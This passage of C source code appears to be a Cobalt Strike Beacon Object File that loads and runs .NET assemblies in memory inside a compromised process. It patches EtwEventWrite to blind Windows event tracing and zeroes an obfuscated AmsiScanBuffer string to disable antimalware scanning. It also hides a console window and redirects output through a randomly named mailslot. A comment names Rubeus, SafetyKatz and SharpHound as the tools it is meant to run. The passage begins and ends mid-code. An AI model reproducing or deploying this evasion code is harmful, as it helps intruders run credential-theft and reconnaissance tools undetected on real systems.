OLEAUT32$VariantClear(&ctx->obj);\r\n\r\n    if (ctx->pMethodInfo) { ctx->pMethodInfo->lpVtbl->Release(ctx->pMethodInfo); }\r\n    if (ctx->pAssembly) { ctx->pAssembly->lpVtbl->Release(ctx->pAssembly); }\r\n    if (ctx->pAppDomain) { ctx->pAppDomain->lpVtbl->Release(ctx->pAppDomain); }\r\n    if (ctx->pAppDomainThunk) { ctx->pAppDomainThunk->lpVtbl->Release(ctx->pAppDomainThunk); }\r\n\r\n    if (ctx->pICorRuntimeHost && ctx->pAppDomainThunk) {\r\n        ctx->pICorRuntimeHost->lpVtbl->UnloadDomain(ctx->pICorRuntimeHost, ctx->pAppDomainThunk);\r\n    }\r\n    if (ctx->pICorRuntimeHost) { ctx->pICorRuntimeHost->lpVtbl->Release(ctx->pICorRuntimeHost); }\r\n    if (ctx->pClrRuntimeInfo) { ctx->pClrRuntimeInfo->lpVtbl->Release(ctx->pClrRuntimeInfo); }\r\n    if (ctx->pClrMetaHost) { ctx->pClrMetaHost->lpVtbl->Release(ctx->pClrMetaHost); }\r\n\r\n    // Free console if we created one\r\n    if (frConsole) {\r\n        _FreeConsole FreeConsole = (_FreeConsole) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"FreeConsole\");\r\n        if (FreeConsole) { FreeConsole(); }\r\n    }\r\n\r\n    // Revert ETW if requested\r\n    if (revertETW) {\r\n        BOOL success = patchETW(revertETW);\r\n        if (success != 1) {\r\n            BeaconPrintf(CALLBACK_ERROR , \"[!] Reverting ETW back failed\");\r\n        }\r\n    }\r\n}\r\n\r\n/*Make MailSlot*/\r\nBOOL WINAPI MakeSlot(LPCSTR lpszSlotName, HANDLE* mailHandle)\r\n{\r\n    *mailHandle = KERNEL32$CreateMailslotA(lpszSlotName,\r\n        0,                             //No maximum message size\r\n        MAILSLOT_WAIT_FOREVER,         //No time-out for operations\r\n        (LPSECURITY_ATTRIBUTES)NULL);  //Default security\r\n\r\n    if (*mailHandle == INVALID_HANDLE_VALUE)\r\n    {\r\n        return FALSE;\r\n    }\r\n    else\r\n        return TRUE;\r\n}\r\n\r\n/*Read Mailslot with hybrid buffer/chunking approach and intermediate buffering*/\r\nBOOL ReadSlotHybrid(char* output, size_t outputSize, HANDLE* mailHandle, HANDLE* hEventOut) {\r\n    DWORD cbMessage = 0;\r\n    DWORD cMessage = 0;\r\n    DWORD cbRead = 0;\r\n    BOOL fResult;\r\n    LPSTR lpszBuffer = NULL;\r\n    HANDLE hEvent;\r\n    OVERLAPPED ov;\r\n    size_t totalWritten = 0;\r\n    BOOL chunkingMode = FALSE;\r\n\r\n    // Intermediate buffer for chunking mode\r\n    char* chunkBuffer = NULL;\r\n    size_t chunkBufferSize = CHUNK_SIZE;\r\n    size_t chunkBufferUsed = 0;\r\n\r\n    hEvent = KERNEL32$CreateEventA(NULL, FALSE, FALSE, NULL);\r\n    if (NULL == hEvent) {\r\n        return FALSE;\r\n    }\r\n\r\n    *hEventOut = hEvent;\r\n\r\n    ov.Offset = 0;\r\n    ov.OffsetHigh = 0;\r\n    ov.hEvent = hEvent;\r\n\r\n    while (TRUE) {\r\n        fResult = KERNEL32$GetMailslotInfo(*mailHandle,\r\n            (LPDWORD)NULL,\r\n            &cbMessage,\r\n            &cMessage,\r\n            (LPDWORD)NULL);\r\n\r\n        if (!fResult) {\r\n            if (chunkBuffer) MSVCRT$free(chunkBuffer);\r\n            KERNEL32$CloseHandle(hEvent);\r\n            return FALSE;\r\n        }\r\n\r\n        if (cbMessage == MAILSLOT_NO_MESSAGE) {\r\n            break;\r\n        }\r\n\r\n        lpszBuffer = (LPSTR)KERNEL32$GlobalAlloc(GPTR, cbMessage + 1);\r\n        if (NULL == lpszBuffer) {\r\n            if (chunkBuffer) MSVCRT$free(chunkBuffer);\r\n            KERNEL32$CloseHandle(hEvent);\r\n            return FALSE;\r\n        }\r\n\r\n        fResult = KERNEL32$ReadFile(*mailHandle,\r\n            lpszBuffer,\r\n            cbMessage,\r\n            &cbRead,\r\n            &ov);\r\n\r\n        if (!fResult) {\r\n            KERNEL32$GlobalFree((HGLOBAL)lpszBuffer);\r\n            if (chunkBuffer) MSVCRT$free(chunkBuffer);\r\n            KERNEL32$CloseHandle(hEvent);\r\n            return FALSE;\r\n        }\r\n\r\n        // Ensure null termination\r\n        lpszBuffer[cbRead] = '\\0';\r\n\r\n        // Get actual string length\r\n        size_t msgLen = MSVCRT$strlen(lpszBuffer);\r\n\r\n        // Check if message ends with newline\r\n        BOOL hasNewline = FALSE;\r\n        if (msgLen > 0) {\r\n            if (lpszBuffer[msgLen - 1] == '\\n' || lpszBuffer[msgLen - 1] == '\\r') {\r\n                hasNewline = TRUE;\r\n            }\r\n        }\r\n\r\n        if (!chunkingMode && totalWritten + msgLen + (hasNewline ? 0 : 1) < outputSize - 1) {\r\n            // Normal buffer mode\r\n            MSVCRT$memcpy(output + totalWritten, lpszBuffer, msgLen);\r\n            totalWritten += msgLen;\r\n\r\n            // Add newline if message doesn't have one\r\n            if (!hasNewline && msgLen > 0) {\r\n                output[totalWritten] = '\\n';\r\n                totalWritten++;\r\n            }\r\n\r\n            output[totalWritten] = '\\0';\r\n        } else {\r\n            // Switch to or continue in chunking mode\r\n            if (!chunkingMode) {\r\n                // First time switching - send accumulated buffer\r\n                chunkingMode = TRUE;\r\n                output[totalWritten] = '\\0';\r\n                BeaconPrintf(CALLBACK_OUTPUT, \"\\n\\n%s\", output);\r\n\r\n                // Allocate intermediate chunk buffer\r\n                chunkBuffer = (char*)MSVCRT$malloc(chunkBufferSize);\r\n                if (!chunkBuffer) {\r\n                    KERNEL32$GlobalFree((HGLOBAL)lpszBuffer);\r\n                    KERNEL32$CloseHandle(hEvent);\r\n                    return FALSE;\r\n                }\r\n                chunkBufferUsed = 0;\r\n            }\r\n\r\n            // Calculate space needed including potential newline\r\n            size_t neededSpace = msgLen + (hasNewline ? 0 : 1);\r\n            size_t spaceLeft = chunkBufferSize - chunkBufferUsed - 1;\r\n\r\n            if (neededSpace <= spaceLeft) {\r\n                // Message fits in current chunk buffer\r\n                MSVCRT$memcpy(chunkBuffer + chunkBufferUsed, lpszBuffer, msgLen);\r\n                chunkBufferUsed += msgLen;\r\n\r\n                // Add newline if needed\r\n                if (!hasNewline && msgLen > 0) {\r\n                    chunkBuffer[chunkBufferUsed] = '\\n';\r\n                    chunkBufferUsed++;\r\n                }\r\n\r\n                chunkBuffer[chunkBufferUsed] = '\\0';\r\n\r\n                // Send chunk if buffer is reasonably full (>75% capacity)\r\n                if (chunkBufferUsed > (chunkBufferSize * 3 / 4)) {\r\n                    BeaconPrintf(CALLBACK_OUTPUT, \"%s\", chunkBuffer);\r\n                    chunkBufferUsed = 0;\r\n                    chunkBuffer[0] = '\\0';\r\n                }\r\n            } else {\r\n                // Message doesn't fit - send current buffer and start new one\r\n                if (chunkBufferUsed > 0) {\r\n                    chunkBuffer[chunkBufferUsed] = '\\0';\r\n                    BeaconPrintf(CALLBACK_OUTPUT, \"%s\", chunkBuffer);\r\n                    chunkBufferUsed = 0;\r\n                }\r\n\r\n                // Check if this single message is larger than our chunk buffer\r\n                if (neededSpace >= chunkBufferSize - 1) {\r\n                    // Very large single message - send it directly\r\n                    BeaconPrintf(CALLBACK_OUTPUT, \"%s\", lpszBuffer);\r\n                    if (!hasNewline) {\r\n                        BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\r\n                    }\r\n                    chunkBufferUsed = 0;\r\n                } else {\r\n                    // Normal message - add to empty buffer\r\n                    MSVCRT$memcpy(chunkBuffer, lpszBuffer, msgLen);\r\n                    chunkBufferUsed = msgLen;\r\n\r\n                    if (!hasNewline && msgLen > 0) {\r\n                        chunkBuffer[chunkBufferUsed] = '\\n';\r\n                        chunkBufferUsed++;\r\n                    }\r\n\r\n                    chunkBuffer[chunkBufferUsed] = '\\0';\r\n                }\r\n            }\r\n        }\r\n\r\n        KERNEL32$GlobalFree((HGLOBAL)lpszBuffer);\r\n    }\r\n\r\n    if (chunkingMode) {\r\n        // Send any remaining data in chunk buffer\r\n        if (chunkBufferUsed > 0) {\r\n            chunkBuffer[chunkBufferUsed] = '\\0';\r\n            BeaconPrintf(CALLBACK_OUTPUT, \"%s\", chunkBuffer);\r\n        }\r\n\r\n        MSVCRT$free(chunkBuffer);\r\n\r\n        // Final newline for chunked output\r\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\n\");\r\n    }\r\n\r\n    KERNEL32$CloseHandle(hEvent);\r\n    return !chunkingMode;  // Return FALSE if chunking was used\r\n}\r\n\r\n// /*Improved version detection for .NET 4.x*/\r\n// BOOL FindVersion(void * assembly, int length) {\r\n//     char* assembly_c = (char*)assembly;\r\n//\r\n//     // Check for various .NET 4.x versions\r\n//     char* v4_versions[] = {\r\n//         \"v4.0.30319\",\r\n//         \"v4.5\",\r\n//         \"v4.6\",\r\n//         \"v4.7\",\r\n//         \"v4.8\"\r\n//     };\r\n//\r\n//     int num_versions = sizeof(v4_versions) / sizeof(v4_versions[0]);\r\n//\r\n//     for (int v = 0; v < num_versions; v++) {\r\n//         int version_len = MSVCRT$strlen(v4_versions[v]);\r\n//\r\n//         for (int i = 0; i < length - version_len; i++) {\r\n//             BOOL found = TRUE;\r\n//             for (int j = 0; j < version_len; j++) {\r\n//                 if (v4_versions[v][j] != assembly_c[i + j]) {\r\n//                     found = FALSE;\r\n//                     break;\r\n//                 }\r\n//             }\r\n//             if (found) {\r\n//                 return 1;  // .NET 4.x found\r\n//             }\r\n//         }\r\n//     }\r\n//\r\n//     return 0;  // .NET 2.0\r\n// }\r\n\r\n/*Patch ETW - Fixed*/\r\nBOOL patchETW(BOOL revertETW)\r\n{\r\n    unsigned char etwPatch[8] = {0};  // Sufficient size for both architectures\r\n    SIZE_T uSize = 8;\r\n    ULONG patchSize = 0;\r\n\r\n    if (revertETW != 0) {\r\n#ifdef _M_AMD64\r\n        //revert ETW x64\r\n        patchSize = 1;\r\n        etwPatch[0] = 0x4c;\r\n#elif defined(_M_IX86)\r\n        //revert ETW x86\r\n        patchSize = 3;\r\n        etwPatch[0] = 0x8b;\r\n        etwPatch[1] = 0xff;\r\n        etwPatch[2] = 0x55;\r\n#endif\r\n    }\r\n    else {\r\n#ifdef _M_AMD64\r\n        //Break ETW x64\r\n        patchSize = 1;\r\n        etwPatch[0] = 0xc3;\r\n#elif defined(_M_IX86)\r\n        //Break ETW x86\r\n        patchSize = 3;\r\n        etwPatch[0] = 0xc2;\r\n        etwPatch[1] = 0x14;\r\n        etwPatch[2] = 0x00;\r\n#endif\r\n    }\r\n\r\n    //Get pointer to EtwEventWrite\r\n    void* pAddress = (PVOID) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"ntdll.dll\"), \"EtwEventWrite\");\r\n    if(pAddress == NULL)\r\n    {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] Getting pointer to EtwEventWrite failed\\n\");\r\n        return 0;\r\n    }\r\n\r\n    void* lpBaseAddress = pAddress;\r\n    ULONG OldProtection, NewProtection;\r\n\r\n    //Change memory protection via NTProtectVirtualMemory\r\n    _NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"ntdll.dll\"), \"NtProtectVirtualMemory\");\r\n    NTSTATUS status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, PAGE_EXECUTE_READWRITE, &OldProtection);\r\n    if (status != STATUS_SUCCESS) {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] NtProtectVirtualMemory failed %d\\n\", status);\r\n        return 0;\r\n    }\r\n\r\n    //Patch ETW via NTWriteVirtualMemory\r\n    _NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"ntdll.dll\"), \"NtWriteVirtualMemory\");\r\n    status = NtWriteVirtualMemory(NtCurrentProcess(), pAddress, (PVOID)etwPatch, patchSize, NULL);\r\n    if (status != STATUS_SUCCESS) {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] NtWriteVirtualMemory failed\\n\");\r\n        return 0;\r\n    }\r\n\r\n    //Revert back memory protection via NTProtectVirtualMemory\r\n    status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&lpBaseAddress, (PULONG)&uSize, OldProtection, &NewProtection);\r\n    if (status != STATUS_SUCCESS) {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] NtProtectVirtualMemory2 failed\\n\");\r\n        return 0;\r\n    }\r\n\r\n    //Successfully patched ETW\r\n    return 1;\r\n}\r\n\r\nstatic BOOL IsReadable(DWORD protect, DWORD state)\r\n{\r\n    if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {\r\n        return 0;\r\n    }\r\n\r\n    if ((protect & PAGE_GUARD) == PAGE_GUARD) {\r\n        return 0;\r\n    }\r\n\r\n    if ((state & MEM_COMMIT) != MEM_COMMIT) {\r\n        return 0;\r\n    }\r\n\r\n    return 1;\r\n}\r\n\r\nstatic BOOL search_mem(MEMORY_BASIC_INFORMATION* region, _NtProtectVirtualMemory NtProtectVirtualMemory)\r\n{\r\n    NTSTATUS status;\r\n\r\n    if (!IsReadable(region->Protect, region->State)) {\r\n        return 0;\r\n    }\r\n\r\n    for (int j = 0; j < region->RegionSize - 14; j++) {  // Fixed: use actual string length\r\n        unsigned char* current = ((unsigned char*)region->BaseAddress) + j;\r\n\r\n        char target_name[] = \"AnsiScamBaffer\";\r\n        target_name[1] = 'm'; target_name[7] = 'n'; target_name[9] = 'u';\r\n        int target_len = 14;\r\n\r\n        BOOL found = 1;\r\n        for (int k = 0; k < target_len; k++) {  // Fixed: use target_len instead of sizeof\r\n            if (current[k] != target_name[k]) {\r\n                found = 0;\r\n                break;\r\n            }\r\n        }\r\n\r\n        if (found) {\r\n            DWORD original = 0;\r\n            if ((region->Protect & PAGE_READWRITE) != PAGE_READWRITE) {\r\n                status = NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&region->BaseAddress, (PULONG)&region->RegionSize, PAGE_READWRITE, &original);\r\n                if (status != STATUS_SUCCESS) {\r\n                    BeaconPrintf(CALLBACK_ERROR , \"[!] search_mem: NtProtectVirtualMemory failed\\n\");\r\n                    continue;\r\n                }\r\n            }\r\n\r\n            for (int m = 0; m < target_len; m++) {\r\n                current[m] = 0;\r\n            }\r\n\r\n            if ((region->Protect & PAGE_READWRITE) != PAGE_READWRITE) {\r\n                NtProtectVirtualMemory(NtCurrentProcess(), (PVOID)&region->BaseAddress, (PULONG)&region->RegionSize, region->Protect, &original);\r\n            }\r\n\r\n            return 1;\r\n        }\r\n    }\r\n\r\n    return 0;\r\n}\r\n\r\nBOOL patchAMSI()\r\n{\r\n    _NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"ntdll.dll\"), \"NtProtectVirtualMemory\");\r\n\r\n    HANDLE hProcess = KERNEL32$GetCurrentProcess();\r\n\r\n    SYSTEM_INFO sysInfo;\r\n    KERNEL32$GetSystemInfo(&sysInfo);\r\n\r\n    int count = 0;\r\n    unsigned char* pAddress = 0;\r\n    MEMORY_BASIC_INFORMATION memInfo;\r\n\r\n    while (pAddress < sysInfo.lpMaximumApplicationAddress) {\r\n        if (KERNEL32$VirtualQuery(pAddress, &memInfo, sizeof(memInfo))) {\r\n            if (search_mem(&memInfo, pNtProtectVirtualMemory))\r\n                count++;\r\n        }\r\n        pAddress += memInfo.RegionSize;\r\n    }\r\n\r\n    return (count > 0);\r\n}\r\n\r\n/*Start CLR*/\r\nstatic BOOL StartCLR(LPCWSTR dotNetVersion, ICLRMetaHost * *ppClrMetaHost, ICLRRuntimeInfo * *ppClrRuntimeInfo, ICorRuntimeHost * *ppICorRuntimeHost) {\r\n\r\n    HRESULT hr = (HRESULT)NULL;\r\n\r\n    hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost);\r\n\r\n    if (hr == S_OK)\r\n    {\r\n        hr = (*ppClrMetaHost)->lpVtbl->GetRuntime(*ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo);\r\n        if (hr == S_OK)\r\n        {\r\n            BOOL fLoadable;\r\n            hr = (*ppClrRuntimeInfo)->lpVtbl->IsLoadable(*ppClrRuntimeInfo, &fLoadable);\r\n            if ((hr == S_OK) && fLoadable)\r\n            {\r\n                hr = (*ppClrRuntimeInfo)->lpVtbl->GetInterface(*ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost);\r\n                if (hr == S_OK)\r\n                {\r\n                    (*ppICorRuntimeHost)->lpVtbl->Start(*ppICorRuntimeHost);\r\n                }\r\n                else\r\n                {\r\n                    BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to get interface of %ls CLR version. Try running an assembly that requires a differnt CLR version.\\n\", dotNetVersion);\r\n                    return 0;\r\n                }\r\n            }\r\n            else\r\n            {\r\n                BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to load %ls CLR version. Try running an assembly that requires a differnt CLR version.\\n\", dotNetVersion);\r\n                return 0;\r\n            }\r\n        }\r\n        else\r\n        {\r\n            BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a differnt CLR version.\\n\", dotNetVersion);\r\n            return 0;\r\n        }\r\n    }\r\n    else\r\n    {\r\n        BeaconPrintf(CALLBACK_ERROR , \"[!] Process refusing to create %ls CLR version. Try running an assembly that requires a differnt CLR version.\\n\", dotNetVersion);\r\n        return 0;\r\n    }\r\n\r\n    return 1;\r\n}\r\n\r\n/*Check Console Exists*/\r\nstatic BOOL consoleExists(void) {\r\n    _GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"GetConsoleWindow\");\r\n    return !!GetConsoleWindow();\r\n}\r\n\r\n#define TMPBUFLEN 64\r\n\r\ntypedef BOOLEAN(WINAPI *RTLGENRANDOM)(PVOID, ULONG);\r\n\r\nvoid gen_rand_str(char *buffer, int offset, int length)\r\n{\r\n    unsigned char randomBytes[TMPBUFLEN];\r\n\r\n    RTLGENRANDOM pRtlGenRandom = (RTLGENRANDOM)KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA(\"advapi32.dll\"), \"SystemFunction036\");\r\n    if (!pRtlGenRandom || !pRtlGenRandom(randomBytes, TMPBUFLEN))\r\n    {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] gen_rand_str: RtlGenRandom failed\");\r\n        return;\r\n    }\r\n\r\n    int end = offset + length;\r\n    if (end > TMPBUFLEN) end = TMPBUFLEN;\r\n\r\n    for (int i = offset; i < end; i++)\r\n    {\r\n        unsigned char val = randomBytes[i] % 26;\r\n        buffer[i] = 'A' + val;\r\n    }\r\n    buffer[end] = '\\0';\r\n}\r\n\r\n/*BOF Entry Point*/\r\nvoid go(IN PCHAR buffer, IN ULONG blength)\r\n{\r\n    CLEANUP_CONTEXT ctx;\r\n    InitCleanupContext(&ctx);\r\n\r\n    datap parser;\r\n    BeaconDataParse(&parser, buffer, blength);\r\n\r\n    size_t assemblyByteLen = 0;\r\n    char* assemblyBytes = BeaconDataExtract(&parser, &assemblyByteLen);\r\n\r\n    // Extract arguments with length checking\r\n    size_t argumentsLen = 0;\r\n    char* assemblyArguments = BeaconDataExtract(&parser, &argumentsLen);\r\n\r\n    // Validate arguments - if NULL, zero length, or contains only whitespace, treat as no arguments\r\n    BOOL hasArguments = FALSE;\r\n    if (assemblyArguments != NULL && argumentsLen > 0) {\r\n        // Check if arguments contain any non-whitespace characters\r\n        for (size_t i = 0; i < argumentsLen; i++) {\r\n            if (assemblyArguments[i] != '\\0' && assemblyArguments[i] != ' ' &&\r\n                assemblyArguments[i] != '\\t' && assemblyArguments[i] != '\\n' &&\r\n                assemblyArguments[i] != '\\r') {\r\n                hasArguments = TRUE;\r\n                break;\r\n            }\r\n        }\r\n    }\r\n\r\n    // defaults\r\n    char appDomain[TMPBUFLEN] = { 't', 'e', 's', 't', '-' };           gen_rand_str(appDomain, 5, 8);\r\n    char pipeName[TMPBUFLEN]  = { 's', 'v', 'c', 't', 's', 't', '.' }; gen_rand_str(pipeName, 7, 12);\r\n    char slotName[TMPBUFLEN]  = { 't', 's', 't', 's', 'l', 't', '-' }; gen_rand_str(slotName, 7, 8);\r\n\r\n    BOOL amsi = 1;\r\n    BOOL etw = 1;\r\n    BOOL revertETW = 1;\r\n    BOOL mailSlot = 1;  // Always use mailslot to avoid deadlock issues\r\n    ULONG entryPoint = 1;\r\n\r\n    //Create slot and pipe names with proper memory management\r\n    SIZE_T pipeNameLen = MSVCRT$strlen(pipeName);\r\n    ctx.pipePath = MSVCRT$malloc(pipeNameLen + 10);\r\n    if (!ctx.pipePath) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n        return;\r\n    }\r\n    MSVCRT$memset(ctx.pipePath, 0, pipeNameLen + 10);\r\n    MSVCRT$memcpy(ctx.pipePath, \"\\\\\\\\.\\\\pipe\\\\\", 9 );\r\n    MSVCRT$memcpy(ctx.pipePath+9, pipeName, pipeNameLen+1 );\r\n\r\n    SIZE_T slotNameLen = MSVCRT$strlen(slotName);\r\n    ctx.slotPath = MSVCRT$malloc(slotNameLen + 14);\r\n    if (!ctx.slotPath) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n        PerformCleanup(&ctx, FALSE, FALSE);\r\n        return;\r\n    }\r\n    MSVCRT$memset(ctx.slotPath, 0, slotNameLen + 14);\r\n    MSVCRT$memcpy(ctx.slotPath, \"\\\\\\\\.\\\\mailslot\\\\\", 13 );\r\n    MSVCRT$memcpy(ctx.slotPath+13, slotName, slotNameLen+1 );\r\n\r\n    //Declare other variables\r\n    HRESULT hr = (HRESULT)NULL;\r\n    LPWSTR* argumentsArray = NULL;\r\n    int argumentCount = 0;\r\n    HANDLE stdOutput;\r\n    HANDLE stdError;\r\n    size_t wideSize = 0;\r\n    size_t wideSize2 = 0;\r\n    BOOL success = 1;\r\n    BOOL frConsole = 0;\r\n\r\n    // Allocate initial buffer with configurable size\r\n    ctx.returnDataSize = INITIAL_BUFFER_SIZE;\r\n    ctx.returnData = (char*)intAlloc(ctx.returnDataSize);\r\n    if (!ctx.returnData) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n        PerformCleanup(&ctx, FALSE, FALSE);\r\n        return;\r\n    }\r\n    memset(ctx.returnData, 0, ctx.returnDataSize);\r\n\r\n    //Determine .NET assembly version\r\n    //FindVersion() scans raw assembly bytes for CLR version strings but fails\r\n    //when the PE metadata format doesn't contain them as plain text, causing\r\n    //a fallback to CLR v2.0 which breaks all modern .NET 4.x tools (Rubeus,\r\n    //Seatbelt, SafetyKatz, SharpHound, etc.). Since .NET 2.0 assemblies are\r\n    //effectively extinct in offensive tooling, default to CLR v4.0.\r\n    wchar_t* wNetVersion = L\"v4.0.30319\";\r\n\r\n    //Handle argument conversion based on whether we have valid arguments\r\n    if (hasArguments) {\r\n        // Convert assemblyArguments to wide string\r\n        size_t convertedChars = 0;\r\n        wideSize = MSVCRT$strlen(assemblyArguments) + 1;\r\n        ctx.wAssemblyArguments = (wchar_t*)MSVCRT$malloc(wideSize * sizeof(wchar_t));\r\n        if (!ctx.wAssemblyArguments) {\r\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n            PerformCleanup(&ctx, FALSE, FALSE);\r\n            return;\r\n        }\r\n        MSVCRT$mbstowcs_s(&convertedChars, ctx.wAssemblyArguments, wideSize, assemblyArguments, _TRUNCATE);\r\n\r\n        // Parse arguments\r\n        argumentsArray = SHELL32$CommandLineToArgvW(ctx.wAssemblyArguments, &argumentCount);\r\n    } else {\r\n        // No arguments - create empty wide string\r\n        ctx.wAssemblyArguments = (wchar_t*)MSVCRT$malloc(sizeof(wchar_t));\r\n        if (!ctx.wAssemblyArguments) {\r\n            BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n            PerformCleanup(&ctx, FALSE, FALSE);\r\n            return;\r\n        }\r\n        ctx.wAssemblyArguments[0] = L'\\0';\r\n        argumentsArray = NULL;\r\n        argumentCount = 0;\r\n    }\r\n\r\n    //Convert appDomain to wide string\r\n    size_t convertedChars2 = 0;\r\n    wideSize2 = MSVCRT$strlen(appDomain) + 1;\r\n    ctx.wAppDomain = (wchar_t*)MSVCRT$malloc(wideSize2 * sizeof(wchar_t));\r\n    if (!ctx.wAppDomain) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Memory allocation failed\");\r\n        PerformCleanup(&ctx, FALSE, FALSE);\r\n        return;\r\n    }\r\n    MSVCRT$mbstowcs_s(&convertedChars2, ctx.wAppDomain, wideSize2, appDomain, _TRUNCATE);\r\n\r\n    //Create an array of strings for arguments\r\n    ctx.vtPsa.vt = (VT_ARRAY | VT_BSTR);\r\n    ctx.vtPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, argumentCount);\r\n\r\n    // Only populate array if we have arguments\r\n    if (argumentCount > 0 && argumentsArray != NULL) {\r\n        for (long i = 0; i < argumentCount; i++)\r\n        {\r\n            if (argumentsArray[i] != NULL) {\r\n                OLEAUT32$SafeArrayPutElement(ctx.vtPsa.parray, &i, OLEAUT32$SysAllocString(argumentsArray[i]));\r\n            }\r\n        }\r\n    }\r\n\r\n    //Break ETW\r\n    if (etw != 0 || revertETW != 0) {\r\n        success = patchETW(0);\r\n\r\n        if (success != 1) {\r\n            BeaconPrintf(CALLBACK_ERROR , \"[!] Patching ETW failed. Try running without patching ETW\");\r\n            PerformCleanup(&ctx, FALSE, FALSE);\r\n            return;\r\n        }\r\n    }\r\n\r\n    //Start CLR\r\n    success = StartCLR((LPCWSTR)wNetVersion, &ctx.pClrMetaHost, &ctx.pClrRuntimeInfo, &ctx.pICorRuntimeHost);\r\n\r\n    if (success != 1) {\r\n        PerformCleanup(&ctx, FALSE, revertETW);\r\n        return;\r\n    }\r\n\r\n    // Create unique mutex for synchronization\r\n    char mutexName[TMPBUFLEN] = { 'm', 'x', '-' };\r\n    gen_rand_str(mutexName, 3, 12);\r\n    HANDLE hMutex = KERNEL32$CreateMutexA(NULL, TRUE, mutexName);\r\n\r\n    success = MakeSlot(ctx.slotPath, &ctx.mainHandle);\r\n    if (!success) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to create mailslot\");\r\n        KERNEL32$ReleaseMutex(hMutex);\r\n        KERNEL32$CloseHandle(hMutex);\r\n        PerformCleanup(&ctx, FALSE, revertETW);\r\n        return;\r\n    }\r\n\r\n    ctx.hFile = KERNEL32$CreateFileA(ctx.slotPath, GENERIC_WRITE, FILE_SHARE_READ, (LPSECURITY_ATTRIBUTES)NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE)NULL);\r\n\r\n    KERNEL32$ReleaseMutex(hMutex);\r\n    KERNEL32$CloseHandle(hMutex);\r\n\r\n    if (ctx.hFile == INVALID_HANDLE_VALUE) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to open mailslot for writing\");\r\n        PerformCleanup(&ctx, FALSE, revertETW);\r\n        return;\r\n    }\r\n\r\n    //Attach or create console\r\n    BOOL attConsole = consoleExists();\r\n\r\n    if (attConsole != 1)\r\n    {\r\n        frConsole = 1;\r\n        _AllocConsole AllocConsole = (_AllocConsole) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"AllocConsole\");\r\n        _GetConsoleWindow GetConsoleWindow = (_GetConsoleWindow) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"GetConsoleWindow\");\r\n        AllocConsole();\r\n\r\n        //Hide Console Window\r\n        ctx.hUser32 = KERNEL32$LoadLibraryA(\"user32.dll\");\r\n        if (ctx.hUser32) {\r\n            _ShowWindow ShowWindow = (_ShowWindow)KERNEL32$GetProcAddress(ctx.hUser32, \"ShowWindow\");\r\n            HWND wnd = GetConsoleWindow();\r\n            if (wnd)\r\n                ShowWindow(wnd, SW_HIDE);\r\n        }\r\n    }\r\n\r\n    //Get current stdout handle\r\n    _GetStdHandle GetStdHandle = (_GetStdHandle) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"GetStdHandle\");\r\n    stdOutput = GetStdHandle(((DWORD)-11));\r\n\r\n    //Set stdout to our named pipe or mail slot\r\n    _SetStdHandle SetStdHandle = (_SetStdHandle) KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA(\"kernel32.dll\"), \"SetStdHandle\");\r\n    success = SetStdHandle(((DWORD)-11), ctx.hFile);\r\n\r\n    //Create our AppDomain\r\n    hr = ctx.pICorRuntimeHost->lpVtbl->CreateDomain(ctx.pICorRuntimeHost, (LPCWSTR)ctx.wAppDomain, NULL, &ctx.pAppDomainThunk);\r\n    if (hr != S_OK) {\r\n        BeaconPrintf(CALLBACK_ERROR, \"[!] Failed to create AppDomain\");\r\n        SetStdHandle(((DWORD)-11), stdOutput);\r\n        PerformCleanup(&ctx, 